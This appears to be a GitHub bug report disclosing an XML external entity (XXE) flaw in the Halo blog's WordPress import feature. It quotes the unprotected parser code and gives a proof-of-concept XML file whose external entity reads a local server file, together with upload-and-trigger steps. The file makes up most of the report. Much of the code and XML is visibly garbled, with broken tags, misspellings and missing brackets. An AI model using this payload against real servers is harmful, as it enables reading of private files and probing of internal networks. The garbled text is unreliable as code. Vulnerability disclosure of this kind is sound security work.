New issue

Jump to bottom



```
I am sure I have checked
 Halo User Guide Documentation
 M Halo BBS
 Github Wiki
 Other Issues
I want to apply
 BUG feedback
There is a function of importing other blogs in the background. This function needs to parse the xml file, but it is not used for security defense, such as setFeature
("http://apache.org/xml/features/disallow-doctype-decl", true);
  public \ static \ Element \ getRootElement (FileInputStream \ fileInputStream) \ \{
     Try {
    SAXReader e = new SAXReader();
    Document document = e.read(fileInputStream);
    return document.getRootElement();
    Catch (Exception arg2) {
        throw new RuntimeException("can not get root element");
    }
So there is a XML external entity (XXE) vulnerability, This vulnerability can detect the intranet, read files, ddos attacks, etc.
First construct an evil xml file. When the file is parsed, read the /tmp/xxe.txt file and put the result into the category list field.
 root@qingye:/tmp# ls -al /tmp/xxe.txt
-rw-r--r-- l root root 14 Dec 11 19:02 /tmp/xxe.txt
root@qingye:/tmp#
root@qinqve:/tmp# cat /tmp/xxe.txt
 xxe-read-test
root@qingye:/tmp#
  <?xml version="1.0" encoding="UTF-8" ?>
  <!DOCTYPE a [
   <!ENTITY xxe SYSTEM "file:///tmp/xxe.txt">
  <rss version="2.0"</pre>
            xmlns:excerpt="http://wordpress.org/export/1.2/excerpt/"
            xmlns:content="http://purl.org/rss/1.0/modules/content/"
            xmlns:wfw="http://wellformedweb.org/CommentAPI/"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:wp="http://wordpress.org/export/1.2/
   category_nicename><wp:category_nicename><wp:category_parent>testc/wp:
cwp:tag><wp:tenm_id>11c/wp:tenm_id>cwp:tag_slug>testc/wp:tag_slug>cwp:tag_name><![CDATA[test]]></wp:tag_name>
citem>
                     <title>WordPress for SAE</title>
                    cpubDate>Mon, 21 Apr 2014 17:32:57 +0000</pubDate>
dc:creator><![CDATA[zealseeker]]></dc:creator>
<guid isPermaLink="false">http://github.com</guid>
                     <description></description>
                     <content:encoded> <!fCDATA[]]></content:encoded>
                     <excerpt:encoded><![CDATA[]]></excerpt:encoded>
                     <wp:post_id>1</wp:post_id>
                     <wp:post date>2014-04-22 01:32:57</wp:post date>
                     <wp:post_date_gmt>2014-04-21 17:32:57</wp:post_date_gmt>
                    <wp:comment_status>open</wp:comment_status>
<wp:ping_status>open</wp:ping_status>
                    <wp:post_name>hello-world</wp:post_name>
                     <wp:status>draft</wp:status>
                    <wp:post_parent>0</wp:post_parent>
                    <wp:menu_order>0</wp:menu_order>
<wp:post_type>post/wp:post_type>
                     <wp:post_password></wp:post_password>
                     <wp:is_sticky>0</wp:is_sticky>
                    <wp:meta_key>_edit_last</wp:meta_key>
<wp:meta_value><![CDATA[1]]></wp:meta_value>
                    </wp:postmeta>
            c/items
            <channel>
   </channel>
  </rss>
Upload this file to the system and get the file path
```

upload/2019/12/wp-66897ae127a54923a4987d1374420271.xml Using the imported wordpress blog information interface to trigger a vulnerability

